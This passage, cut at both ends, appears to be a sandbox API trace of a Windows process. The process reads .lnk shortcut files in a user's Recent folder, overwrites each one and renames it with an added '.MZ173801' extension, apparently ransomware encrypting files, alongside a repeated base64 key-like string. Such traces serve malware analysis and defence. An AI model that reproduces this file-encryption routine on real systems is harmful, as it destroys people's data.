dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.139] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x998 [0122.139] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.139] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x998, lpOverlapped=0x0) returned 1 [0122.140] CloseHandle (hObject=0x288) returned 1 [0122.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U0EOoc3x-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u0eooc3x-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.141] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x998, lpOverlapped=0x0) returned 1 [0122.142] CloseHandle (hObject=0x288) returned 1 [0122.145] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U0EOoc3x-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u0eooc3x-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U0EOoc3x-.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u0eooc3x-.lnk.mz173801")) returned 1 [0122.146] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8dff40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UeE7MtfOi.lnk", cAlternateFileName="UEE7MT~1.LNK")) returned 1 [0122.146] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.146] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UeE7MtfOi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uee7mtfoi.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8dff40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bd)) returned 1 [0122.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UeE7MtfOi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uee7mtfoi.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.150] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.150] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.150] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x13bd [0122.150] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.150] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x13bd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x13bd, lpOverlapped=0x0) returned 1 [0122.151] CloseHandle (hObject=0x288) returned 1 [0122.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UeE7MtfOi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uee7mtfoi.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.152] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x13bd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x13bd, lpOverlapped=0x0) returned 1 [0122.154] CloseHandle (hObject=0x288) returned 1 [0122.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UeE7MtfOi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uee7mtfoi.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UeE7MtfOi.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uee7mtfoi.lnk.mz173801")) returned 1 [0122.166] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2b1a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UgL4-.lnk", cAlternateFileName="")) returned 1 [0122.166] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.166] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.166] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UgL4-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ugl4-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2b1a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f1)) returned 1 [0122.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UgL4-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ugl4-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 